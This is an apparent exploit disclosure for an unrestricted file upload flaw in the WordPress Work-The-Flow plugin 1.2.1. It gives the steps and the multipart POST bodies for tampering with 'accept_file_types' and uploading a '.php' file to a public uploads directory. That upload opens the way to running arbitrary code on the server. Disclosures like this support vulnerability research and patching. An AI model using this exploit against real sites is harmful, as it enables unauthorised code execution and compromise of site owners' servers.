WordPress Work-The-Flow Plugin 1.2.1 – Arbitrary File Upload

# Author: nopesled
# Date: 24/04/14
# Software: https://wordpress.org/plugins/work-the-flow-file-upload/
# Company: http://wtf-fu.com/
# Version: 1.2.1
# Tested on: Windows 7
# Vulnerability: Unrestricted File Upload

Submit an image file via the wtf upload panel and intercept the POST request to /wp-admin/admin-ajax.php

By editing the data from the control ‘accept_file_types’, we can upload normally disallowed filetypes such as PHP.

Append ‘|php’:

– —————————-123456789123456\r\n
Content-Disposition: form-data; name=”accept_file_types”\r\n
\r\n
jpg|jpeg|mpg|mp3|png|gif|wav|ogg|php\r\n

Now change the extension in the data for ‘filename’ to ‘.php’ and enter your desired code like so

– —————————-123456789123456\r\n
Content-Disposition: form-data; name=”files[]”; filename=”illegal.php”\r\n
Content-Type: application/octet-stream\r\n
\r\n
\n
– —————————-123456789123456–\r\n

Submit this POST request and you will find your file in the directory:
/wp-content/uploads/public/wtf-fu_files/default/

It’s not required to set the control ‘deny_public_uploads’ to true, because it still gets uploaded anyway regardless if it’s enabled or not.

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